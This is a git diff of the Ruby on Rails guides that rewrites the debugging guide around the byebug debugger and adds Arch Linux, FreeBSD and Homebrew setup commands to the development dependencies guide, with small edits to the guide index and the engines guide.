- 20 format.html # show.html.erb
```
-And so on until the end of the current file. When the end of file is reached, the `list` command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
+This way you can move inside the file, being able to see the code above and over
+the line where you added the `byebug` call. Finally, to see where you are in
+the code again you can type `list=`
-On the other hand, to see the previous ten lines you should type `list-` (or `l-`)
-
-```
-(rdb:7) l-
-[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
- 1 class PostsController < ApplicationController
- 2 # GET /posts
- 3 # GET /posts.json
- 4 def index
- 5 debugger
- 6 @posts = Post.all
- 7
- 8 respond_to do |format|
- 9 format.html # index.html.erb
- 10 format.json { render :json => @posts }
```
+(byebug) list=
-This way you can move inside the file, being able to see the code above and over the line you added the `debugger`.
-Finally, to see where you are in the code again you can type `list=`
+[3, 12] in /PathTo/project/app/controllers/posts_controller.rb
+ 3:
+ 4: # GET /posts
+ 5: # GET /posts.json
+ 6: def index
+ 7: byebug
+=> 8: @posts = Post.find_recent
+ 9:
+ 10: respond_to do |format|
+ 11: format.html # index.html.erb
+ 12: format.json { render json: @posts }
-```
-(rdb:7) list=
-[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
- 1 class PostsController < ApplicationController
- 2 # GET /posts
- 3 # GET /posts.json
- 4 def index
- 5 debugger
-=> 6 @posts = Post.all
- 7
- 8 respond_to do |format|
- 9 format.html # index.html.erb
- 10 format.json { render :json => @posts }
+(byebug)
```
### The Context
-When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
-
-The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
-
-At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
-
-```
-(rdb:5) where
- #0 PostsController.index
- at line /PathTo/project/app/controllers/posts_controller.rb:6
- #1 Kernel.send
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
- #2 ActionController::Base.perform_action_without_filters
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
- #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+When you start debugging your application, you will be placed in different
+contexts as you go through the different parts of the stack.
+
+The debugger creates a context when a stopping point or an event is reached. The
+context has information about the suspended program which enables the debugger
+to inspect the frame stack, evaluate variables from the perspective of the
+debugged program, and contains information about the place where the debugged
+program is stopped.
+
+At any time you can call the `backtrace` command (or its alias `where`) to print
+the backtrace of the application. This can be very helpful to know how you got
+where you are. If you ever wondered about how you got somewhere in your code,
+then `backtrace` will supply the answer.
+
+```
+(byebug) where
+--> #0 PostsController.index
+ at /PathTo/project/test_app/app/controllers/posts_controller.rb:8
+ #1 ActionController::ImplicitRender.send_action(method#String, *args#Array)
+ at /PathToGems/actionpack-4.1.0/lib/action_controller/metal/implicit_render.rb:4
+ #2 AbstractController::Base.process_action(action#NilClass, *args#Array)
+ at /PathToGems/actionpack-4.1.0/lib/abstract_controller/base.rb:189
+ #3 ActionController::Rendering.process_action(action#NilClass, *args#NilClass)
+ at /PathToGems/actionpack-4.1.0/lib/action_controller/metal/rendering.rb:10
...
```
-You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
+The current frame is marked with `-->`. You can move anywhere you want in this
+trace (thus changing the context) by using the `frame _n_` command, where _n_ is
+the specified frame number. If you do that, `byebug` will display your new
+context.
```
-(rdb:5) frame 2
-#2 ActionController::Base.perform_action_without_filters
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+(byebug) frame 2
+
+[184, 193] in /PathToGems/actionpack-4.1.0/lib/abstract_controller/base.rb
+ 184: # is the intended way to override action dispatching.
+ 185: #
+ 186: # Notice that the first argument is the method to be dispatched
+ 187: # which is *not* necessarily the same as the action name.
+ 188: def process_action(method_name, *args)
+=> 189: send_action(method_name, *args)
+ 190: end
+ 191:
+ 192: # Actually call the method associated with the action. Override
+ 193: # this method if you wish to change how action methods are called,
+
+(byebug)
```
-The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
+The available variables are the same as if you were running the code line by
+line. After all, that's what debugging is.
-Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+You can also use `up [n]` (`u` for abbreviated) and `down [n]` commands in order
+to change the context _n_ frames up or down the stack respectively. _n_ defaults
+to one. Up in this case is towards higher-numbered stack frames, and down is
+towards lower-numbered stack frames.
### Threads
-The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:
+The debugger can list, stop, resume and switch between running threads by using
+the `thread` command (or the abbreviated `th`). This command has a handful of
+options:
* `thread` shows the current thread.
-* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* `thread list` is used to list all threads and their statuses. The plus +
+character and the number indicates the current thread of execution.
* `thread stop _n_` stop thread _n_.
* `thread resume _n_` resumes thread _n_.
* `thread switch _n_` switches the current thread context to _n_.
-This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
+This command is very helpful, among other occasions, when you are debugging
+concurrent threads and need to verify that there are no race conditions in your
+code.
### Inspecting Variables
-Any expression can be evaluated in the current context. To evaluate an expression, just type it!
-
-This example shows how you can print the instance_variables defined within the current context:
-
-```
-@posts = Post.all
-(rdb:11) instance_variables
-["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
-```
-
-As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
-
-```
-(rdb:11) next
-Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
- Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
- Parameters: {"action"=>"index", "controller"=>"posts"}
-/PathToProject/posts_controller.rb:8
-respond_to do |format|
+Any expression can be evaluated in the current context. To evaluate an
+expression, just type it!
+
+This example shows how you can print the instance variables defined within the
+current context:
+
+```
+[3, 12] in /PathTo/project/app/controllers/posts_controller.rb
+ 3:
+ 4: # GET /posts
+ 5: # GET /posts.json
+ 6: def index
+ 7: byebug
+=> 8: @posts = Post.find_recent
+ 9:
+ 10: respond_to do |format|
+ 11: format.html # index.html.erb
+ 12: format.json { render json: @posts }
+
+(byebug) instance_variables
+[:@_action_has_layout, :@_routes, :@_headers, :@_status, :@_request,
+ :@_response, :@_env, :@_prefixes, :@_lookup_context, :@_action_name,
+ :@_response_body, :@marked_for_same_origin_verification, :@_config]
+```
+
+As you may have figured out, all of the variables that you can access from a
+controller are displayed. This list is dynamically updated as you execute code.
+For example, run the next line using `next` (you'll learn more about this
+command later in this guide).
+
+```
+(byebug) next
+[5, 14] in /PathTo/project/app/controllers/posts_controller.rb
+ 5 # GET /posts.json
+ 6 def index
+ 7 byebug
+ 8 @posts = Post.find_recent
+ 9
+=> 10 respond_to do |format|
+ 11 format.html # index.html.erb
+ 12 format.json { render json: @posts }
+ 13 end
+ 14 end
+ 15
+(byebug)
```
And then ask again for the instance_variables:
```
-(rdb:11) instance_variables.include? "@posts"
+(byebug) instance_variables.include? "@posts"
true
```
-Now `@posts` is included in the instance variables, because the line defining it was executed.
+Now `@posts` is included in the instance variables, because the line defining it
+was executed.
-TIP: You can also step into **irb** mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+TIP: You can also step into **irb** mode with the command `irb` (of course!).
+This way an irb session will be started within the context you invoked it. But
+be warned: this is an experimental feature.
-The `var` method is the most convenient way to show variables and their values:
+The `var` method is the most convenient way to show variables and their values.
+Let's let `byebug` to help us with it.
```
-var
-(rdb:1) v[ar] const <object> show constants of object
-(rdb:1) v[ar] g[lobal] show global variables
-(rdb:1) v[ar] i[nstance] <object> show instance variables of object
-(rdb:1) v[ar] l[ocal] show local variables
+(byebug) help var
+v[ar] cl[ass] show class variables of self
+v[ar] const <object> show constants of object
+v[ar] g[lobal] show global variables
+v[ar] i[nstance] <object> show instance variables of object
+v[ar] l[ocal] show local variables
```
-This is a great way to inspect the values of the current context variables. For example:
+This is a great way to inspect the values of the current context variables. For
+example, to check that we have no local variables currently defined.
```
-(rdb:9) var local
- __dbg_verbose_save => false
+(byebug) var local
+(byebug)
```
You can also inspect for an object method this way:
```
-(rdb:9) var instance Post.new
-@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
+(byebug) var instance Post.new
+@_start_transaction_state = {}
+@aggregation_cache = {}
+@association_cache = {}
+@attributes = {"id"=>nil, "created_at"=>nil, "updated_at"=>nil}
@attributes_cache = {}
-@new_record = true
+@changed_attributes = nil
+...
```
-TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate
+Ruby expressions and display the value of variables to the console.
-You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
+You can use also `display` to start watching variables. This is a good way of
+tracking the values of a variable while the execution goes on.
```
-(rdb:1) display @recent_comments
-1: @recent_comments =
+(byebug) display @posts
+1: @posts = nil
```
-The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example).
+The variables inside the displaying list will be printed with their values after
+you move in the stack. To stop displaying a variable use `undisplay _n_` where
+_n_ is the variable number (1 in the last example).
### Step by Step
-Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
+Now you should know where you are in the running trace and be able to print the
+available variables. But lets continue and move on with the application
+execution.
-Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to the debugger.
+Use `step` (abbreviated `s`) to continue running your program until the next
+logical stopping point and return control to the debugger.
-TIP: You can also use `step+ n` and `step- n` to move forward or backward `n` steps respectively.
+You may also use `next` which is similar to step, but function or method calls
+that appear within the line of code are executed without stopping.
-You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
+TIP: You can also use `step n` or `next n` to move forwards `n` steps at once.
-The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods.
+The difference between `next` and `step` is that `step` stops at the next line
+of code executed, doing just a single step, while `next` moves to the next line
+without descending inside methods.
-For example, consider this block of code with an included `debugger` statement:
+For example, consider the following situation:
```ruby
-class Author < ActiveRecord::Base
- has_one :editorial
- has_many :comments
+Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200
+Processing by PostsController#index as HTML
- def find_recent_comments(limit = 10)
- debugger
- @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
- end
-end
+[1, 8] in /home/davidr/Proyectos/test_app/app/models/post.rb
+ 1: class Post < ActiveRecord::Base
+ 2:
+ 3: def self.find_recent(limit = 10)
+ 4: byebug
+=> 5: where('created_at > ?', 1.week.ago).limit(limit)
+ 6: end
+ 7:
+ 8: end
+
+(byebug)
```
-TIP: You can use the debugger while using `rails console`. Just remember to `require "debugger"` before calling the `debugger` method.
+If we use `next`, we want go deep inside method calls. Instead, byebug will go
+to the next line within the same context. In this case, this is the last line of
+the method, so `byebug` will jump to next next line of the previous frame.
```
-$ rails console
-Loading development environment (Rails 4.0.0)
->> require "debugger"
-=> []
->> author = Author.first
-=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
->> author.find_recent_comments
-/PathTo/project/app/models/author.rb:11
-)
-```
+(byebug) next
+Next went up a frame because previous frame finished
-With the code stopped, take a look around:
+[4, 13] in /PathTo/project/test_app/app/controllers/posts_controller.rb
+ 4: # GET /posts
+ 5: # GET /posts.json
+ 6: def index
+ 7: @posts = Post.find_recent
+ 8:
+=> 9: respond_to do |format|
+ 10: format.html # index.html.erb
+ 11: format.json { render json: @posts }
+ 12: end
+ 13: end
-```
-(rdb:1) list
-[2, 9] in /PathTo/project/app/models/author.rb
- 2 has_one :editorial
- 3 has_many :comments
- 4
- 5 def find_recent_comments(limit = 10)
- 6 debugger
-=> 7 @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
- 8 end
- 9 end
+(byebug)
```
-You are at the end of the line, but... was this line executed? You can inspect the instance variables.
+If we use `step` in the same situation, we will literally go the next ruby
+instruction to be executed. In this case, the activesupport's `week` method.
```
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-```
+(byebug) step
-`@recent_comments` hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the `next` command to move on in the code:
+[50, 59] in /PathToGems/activesupport-4.1.0/lib/active_support/core_ext/numeric/time.rb
+ 50: ActiveSupport::Duration.new(self * 24.hours, [[:days, self]])
+ 51: end
+ 52: alias :day :days
+ 53:
+ 54: def weeks
+=> 55: ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]])
+ 56: end
+ 57: alias :week :weeks
+ 58:
+ 59: def fortnights
-```
-(rdb:1) next
-/PathTo/project/app/models/author.rb:12
-@recent_comments
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-@comments = []
-@recent_comments = []
+(byebug)
```
-Now you can see that the `@comments` relationship was loaded and @recent_comments defined because the line was executed.
-
-If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+This is one of the best ways to find bugs in your code, or perhaps in Ruby on
+Rails.
### Breakpoints
-A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
+A breakpoint makes your application stop whenever a certain point in the program
+is reached. The debugger shell is invoked in that line.
-You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually:
+You can add breakpoints dynamically with the command `break` (or just `b`).
+There are 3 possible ways of adding breakpoints manually:
* `break line`: set breakpoint in the _line_ in the current source file.
-* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
-* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
+* `break file:line [if expression]`: set breakpoint in the _line_ number inside
+the _file_. If an _expression_ is given it must evaluated to _true_ to fire up
+the debugger.
+* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and
+\# for class and instance method respectively) defined in _class_. The
+_expression_ works the same way as with file:line.
+
+
+For example, in the previous situation
```
-(rdb:5) break 10
-Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
+[4, 13] in /PathTo/project/app/controllers/posts_controller.rb
+ 4: # GET /posts
+ 5: # GET /posts.json
+ 6: def index
+ 7: @posts = Post.find_recent
+ 8:
+=> 9: respond_to do |format|
+ 10: format.html # index.html.erb
+ 11: format.json { render json: @posts }
+ 12: end
+ 13: end
+
+(byebug) break 11
+Created breakpoint 1 at /PathTo/project/app/controllers/posts_controller.rb:11
+
```
-Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you
+supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
```
-(rdb:5) info breakpoints
+(byebug) info breakpoints
Num Enb What
- 1 y at filters.rb:10
+1 y at /PathTo/project/app/controllers/posts_controller.rb:11
```
-To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
+To delete breakpoints: use the command `delete _n_` to remove the breakpoint
+number _n_. If no number is specified, it deletes all breakpoints that are
+currently active.
```
-(rdb:5) delete 1
-(rdb:5) info breakpoints
+(byebug) delete 1
+(byebug) info breakpoints
No breakpoints.
```
You can also enable or disable breakpoints:
-* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+* `enable breakpoints`: allow a _breakpoints_ list or all of them if no list is
+specified, to stop your program. This is the default state when you create a
+breakpoint.
* `disable breakpoints`: the _breakpoints_ will have no effect on your program.
### Catching Exceptions
-The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
+The command `catch exception-name` (or just `cat exception-name`) can be used to
+intercept an exception of type _exception-name_ when there would otherwise be no
+handler for it.
To list all active catchpoints use `catch`.
### Resuming Execution
-There are two ways to resume execution of an application that is stopped in the debugger:
-
-* `continue` [line-specification] \(or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
-* `finish` [frame-number] \(or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+There are two ways to resume execution of an application that is stopped in the
+debugger:
+
+* `continue` [line-specification] \(or `c`): resume program execution, at the
+address where your script last stopped; any breakpoints set at that address are
+bypassed. The optional argument line-specification allows you to specify a line
+number to set a one-time breakpoint which is deleted when that breakpoint is
+reached.
+* `finish` [frame-number] \(or `fin`): execute until the selected stack frame
+returns. If no frame number is given, the application will run until the
+currently selected frame returns. The currently selected frame starts out the
+most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been
+performed. If a frame number is given it will run until the specified frame
+returns.
### Editing
Two commands allow you to open code from the debugger into an editor:
-* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
-* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified.
+* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR
+environment variable. A specific _line_ can also be given.
### Quitting
-To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`.
+To exit the debugger, use the `quit` command (abbreviated `q`), or its alias
+`exit`.
-A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
+A simple quit tries to terminate all threads in effect. Therefore your server
+will be stopped and you will have to start it again.
### Settings
-The `debugger` gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options:
+`byebug` has a few available options to tweak its behaviour:
-* `set reload`: Reload source code when changed.
-* `set autolist`: Execute `list` command on every breakpoint.
-* `set listsize _n_`: Set number of source lines to list by default to _n_.
-* `set forcestep`: Make sure the `next` and `step` commands always move to a new line
+* `set autoreload`: Reload source code when changed (default: true).
+* `set autolist`: Execute `list` command on every breakpoint (default: true).
+* `set listsize _n_`: Set number of source lines to list by default to _n_
+(default: 10)
+* `set forcestep`: Make sure the `next` and `step` commands always move to a new
+line.
-You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular `set` command.
+You can see the full list by using `help set`. Use `help set _subcommand_` to
+learn about a particular `set` command.
-TIP: You can save these settings in an `.rdebugrc` file in your home directory. The debugger reads these global settings when it starts.
-
-Here's a good start for an `.rdebugrc`:
+TIP: You can save these settings in an `.byebugrc` file in your home directory.
+The debugger reads these global settings when it starts. For example:
```bash
-set autolist
set forcestep
set listsize 25
```
@@ -640,33 +801,59 @@ set listsize 25
Debugging Memory Leaks
----------------------
-A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
+A Ruby application (on Rails or not), can leak memory - either in the Ruby code
+or at the C code level.
-In this section, you will learn how to find and fix such leaks by using tool such as Valgrind.
+In this section, you will learn how to find and fix such leaks by using tool
+such as Valgrind.
### Valgrind
-[Valgrind](http://valgrind.org/) is a Linux-only application for detecting C-based memory leaks and race conditions.
+[Valgrind](http://valgrind.org/) is a Linux-only application for detecting
+C-based memory leaks and race conditions.
-There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates.
+There are Valgrind tools that can automatically detect many memory management
+and threading bugs, and profile your programs in detail. For example, if a C
+extension in the interpreter calls `malloc()` but doesn't properly call
+`free()`, this memory won't be available until the app terminates.
-For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver.
+For further information on how to install Valgrind and use with Ruby, refer to
+[Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/)
+by Evan Weaver.
Plugins for Debugging
---------------------
-There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
-
-* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has footnotes that give request information and link back to your source via TextMate.
-* [Query Trace](https://github.com/ntalbott/query_trace/tree/master) Adds query origin tracing to your logs.
-* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
-* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
+There are some Rails plugins to help you to find errors and debug your
+application. Here is a list of useful plugins for debugging:
+
+* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has
+footnotes that give request information and link back to your source via
+TextMate.
+* [Query Trace](https://github.com/ntalbott/query_trace/tree/master) Adds query
+origin tracing to your logs.
+* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin
+not only runs "EXPLAIN" before each of your select queries in development, but
+provides a small DIV in the rendered output of each page with the summary of
+warnings for each query that it analyzed.
+* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master)
+Provides a mailer object and a default set of templates for sending email
+notifications when errors occur in a Rails application.
+* [Better Errors](https://github.com/charliesome/better_errors) Replaces the
+standard Rails error page with a new one containing more contextual information,
+like source code and variable inspection.
+* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails
+development that will end your tailing of development.log. Have all information
+about your Rails app requests in the browser - in the Developer Tools panel.
+Provides insight to db/rendering/total times, parameter list, rendered views and
+more.
References
----------
* [ruby-debug Homepage](http://bashdb.sourceforge.net/ruby-debug/home-page.html)
* [debugger Homepage](https://github.com/cldwalker/debugger)
+* [byebug Homepage](https://github.com/deivid-rodriguez/byebug)
* [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/debug-rails-app-ruby-debug/)
* [Ryan Bates' debugging ruby (revised) screencast](http://railscasts.com/episodes/54-debugging-ruby-revised)
* [Ryan Bates' stack trace screencast](http://railscasts.com/episodes/24-the-stack-trace)
diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md
index 5647a4c1b7..b0e070120d 100644
--- a/guides/source/development_dependencies_install.md
+++ b/guides/source/development_dependencies_install.md
@@ -57,9 +57,24 @@ If you are on Fedora or CentOS, you can run
$ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel
```
+If you are running Arch Linux, you're done with:
+
+```bash
+$ sudo pacman -S libxml2 libxslt
+```
+
+On FreeBSD, you just have to run:
+
+```bash
+# pkg_add -r libxml2 libxslt
+```
+
+Alternatively, you can install the `textproc/libxml2` and `textproc/libxslt`
+ports.
+
If you have any problems with these libraries, you can install them manually by compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) .
-Also, SQLite3 and its development files for the `sqlite3-ruby` gem — in Ubuntu you're done with just
+Also, SQLite3 and its development files for the `sqlite3-ruby` gem - in Ubuntu you're done with just
```bash
$ sudo apt-get install sqlite3 libsqlite3-dev
@@ -71,6 +86,20 @@ And if you are on Fedora or CentOS, you're done with
$ sudo yum install sqlite3 sqlite3-devel
```
+If you are on Arch Linux, you will need to run:
+
+```bash
+$ sudo pacman -S sqlite
+```
+
+For FreeBSD users, you're done with:
+
+```bash
+# pkg_add -r sqlite3
+```
+
+Or compile the `databases/sqlite3` port.
+
Get a recent version of [Bundler](http://gembundler.com/)
```bash
@@ -84,7 +113,29 @@ and run:
$ bundle install --without db
```
-This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. With dependencies installed, you can run the test suite with:
+This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon.
+
+NOTE: If you would like to run the tests that use memcached, you need to ensure that you have it installed and running.
+
+You can use [Homebrew](http://brew.sh/) to install memcached on OSX:
+
+```bash
+$ brew install memcached
+```
+
+On Ubuntu you can install it with apt-get:
+
+```bash
+$ sudo apt-get install memcached
+```
+
+Or use yum on Fedora or CentOS:
+
+```bash
+$ sudo yum install memcached
+```
+
+With the dependencies now installed, you can run the test suite with:
```bash
$ bundle exec rake test
@@ -104,13 +155,20 @@ $ cd railties
$ TEST_DIR=generators bundle exec rake test
```
-You can run any single test separately too:
+You can run the tests for a particular file by using:
```bash
$ cd actionpack
$ bundle exec ruby -Itest test/template/form_helper_test.rb
```
+Or, you can run a single test in a particular file:
+
+```bash
+$ cd actionpack
+$ bundle exec ruby -Itest path/to/test.rb -n test_name
+```
+
### Active Record Setup
The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (`mysql` and `mysql2`), and once for PostgreSQL. We are going to see now how to set up the environment for them.
@@ -137,6 +195,33 @@ $ sudo yum install mysql-server mysql-devel
$ sudo yum install postgresql-server postgresql-devel
```
+If you are running Arch Linux, MySQL isn't supported anymore so you will need to
+use MariaDB instead (see [this announcement](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)):
+
+```bash
+$ sudo pacman -S mariadb libmariadbclient mariadb-clients
+$ sudo pacman -S postgresql postgresql-libs
+```
+
+FreeBSD users will have to run the following:
+
+```bash
+# pkg_add -r mysql56-client mysql56-server
+# pkg_add -r postgresql92-client postgresql92-server
+```
+
+You can use [Homebrew](http://brew.sh/) to install MySQL and PostgreSQL on OSX:
+
+```bash
+$ brew install mysql
+$ brew install postgresql
+```
+Follow instructions given by [Homebrew](http://brew.sh/) to start these.
+
+Or install them through ports (they are located under the `databases` folder).
+If you run into troubles during the installation of MySQL, please see
+[the MySQL documentation](http://dev.mysql.com/doc/refman/5.1/en/freebsd-installation.html).
+
After that, run:
```bash
@@ -156,6 +241,8 @@ mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
to 'rails'@'localhost';
mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.*
+ to 'rails'@'localhost';
```
and create the test databases:
@@ -166,10 +253,15 @@ $ bundle exec rake mysql:build_databases
```
PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account
+This is not needed when installed via [Homebrew](http://brew.sh).
```bash
$ sudo -u postgres createuser --superuser $USER
```
+And for OS X (when installed via [Homebrew](http://brew.sh))
+```bash
+$ createuser --superuser $USER
+```
and then create the test databases with
@@ -196,4 +288,4 @@ NOTE: Using the rake task to create the test databases ensures they have the cor
NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator".
-If you’re using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.
+If you're using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.
diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml
index 1b16f4e516..a160c462b2 100644
--- a/guides/source/documents.yaml
+++ b/guides/source/documents.yaml
@@ -117,7 +117,7 @@
name: The Rails Initialization Process
work_in_progress: true
url: initialization.html
- description: This guide explains the internals of the Rails initialization process as of Rails 3.1
+ description: This guide explains the internals of the Rails initialization process as of Rails 4
-
name: Extending Rails
documents:
@@ -150,6 +150,13 @@
url: ruby_on_rails_guides_guidelines.html
description: This guide documents the Ruby on Rails guides guidelines.
-
+ name: Maintenance Policy
+ documents:
+ -
+ name: Maintenance Policy
+ url: maintenance_policy.html
+ description: What versions of Ruby on Rails are currently supported, and when to expect new versions.
+-
name: Release Notes
documents:
-
@@ -158,6 +165,10 @@
work_in_progress: true
description: This guide helps in upgrading applications to latest Ruby on Rails versions.
-
+ name: Ruby on Rails 4.1 Release Notes
+ url: 4_1_release_notes.html
+ description: Release notes for Rails 4.1.
+ -
name: Ruby on Rails 4.0 Release Notes
url: 4_0_release_notes.html
description: Release notes for Rails 4.0.
diff --git a/guides/source/engines.md b/guides/source/engines.md
index bc66ed256e..8f9ba0995f 100644
--- a/guides/source/engines.md
+++ b/guides/source/engines.md
@@ -1,7 +1,9 @@
Getting Started with Engines
============================
-In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface.
+In this guide you will learn about engines and how they can be used to provide
+additional functionality to their host applications through a clean and very
+easy-to-use interface.
After reading this guide, you will know:
@@ -16,26 +18,59 @@ After reading this guide, you will know:
What are engines?
-----------------
